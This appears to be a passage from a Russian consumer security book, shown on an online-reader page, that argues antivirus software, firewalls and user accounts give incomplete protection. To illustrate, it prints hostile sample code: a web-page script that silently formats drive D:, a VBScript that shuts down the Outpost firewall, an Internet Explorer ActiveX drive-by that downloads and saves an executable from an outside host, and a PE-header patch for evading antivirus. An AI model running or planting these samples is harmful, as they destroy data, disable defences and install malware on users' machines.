Чтение онлайн

ЖАНРЫ

Защити свой компьютер на 100% от вирусов и хакеров
Шрифт:

Вариант 2. Звучит кощунственно: содержимое HTML-файла, подобно патологоанатому, методично «потрошит» винчестер. Невозможно? Еще как возможно! А вот и сценарий стартовой страницы (листинг 1.2).

Листинг 1.2. HTML-код, форматирующий диск D:

<script>

a=new ActiveXObject("WScript.Shell");

a.run("cmd /c format d:/y",0);

 </script>

Вышеописанный сценарий, внедренный злоумышленником в HTML-страницу, ни много ни мало незаметно форматирует диск, указанный в коде.

Продолжим веселый некролог.

Вариант 3. Система притормаживала, и на время

игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».

Вариант 4. Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE-заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).

Листинг 1.3. Некоторый учебный пример модификации PE-заголовка

_PtchImSz:

mov eax, [esi + 0Ch] ; VirtualRVA(Last section)

add eax, [esi + 08h] ; VirtualSize(Last section)

mov [edi + 50h], eax

Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.

Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.

Брандмауэр

Нужен ли нам брандмауэр?

Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.

Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?

Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…

Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)

set WShell = CreateObject("WScript.Shell")

WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe"

WScript.Sleep 200

WShell.AppActivate "Agnitum", TRUE

WScript.Sleep 100

WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"

WScript.Sleep 100

WShell.SendKeys "{ENTER}"

ПРИМЕЧАНИЕ

Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!

Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня

Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0»

смотрите на рис. 1.2.

Рис. 1.2. И опять наш «Касперский» оказался на высоте

Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

<script>

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.OpenC'GET', "http://www.example.com/1.exe", 0);

x.Send;

var s = new ActiveXObject("ADODB.Stream");

s.Mode = 3;

s.Type = 1;

s.Open;

s.Write(x.responseBody);

s.SaveToFile("C:\\example.exe", 2);

</script>

<script language="javascript">

 function preparecode(code)

{ result = "";

lines = code.split(/\r\n/);

for (i=0; i<lines.length; i++) {

line = lines[i];

line = line.replace(/*\s+/,"");

line = line.replace(/\s+$/,"");

line = line.replace(/'/g,"\'");

line = line.replace(/[\\]/g,"\\");

line = line.replace(/[/]/g,"%2f");

if (line != '') {

result += line +'\\r\\n';

}

}

return result;

}

function doit {

mycode = preparecode(document.all.code.value);

myURL = "file:javascript:eval(" + mycode + "')";

window.open(myURL, "_media");

}

setTimeout("doit", 5000);

</script>

</html>

Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.

Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.

Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.

В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.

Листинг 1.6. Наш учебный код

<HTML>

OBJECT CLASSID='CLSID:10000000'

CODEBASE='C:\Windows\system32\logoff.exe'>

</OBJECT>

<HTML>

ПРИМЕЧАНИЕ

Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.

А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.

Поделиться с друзьями: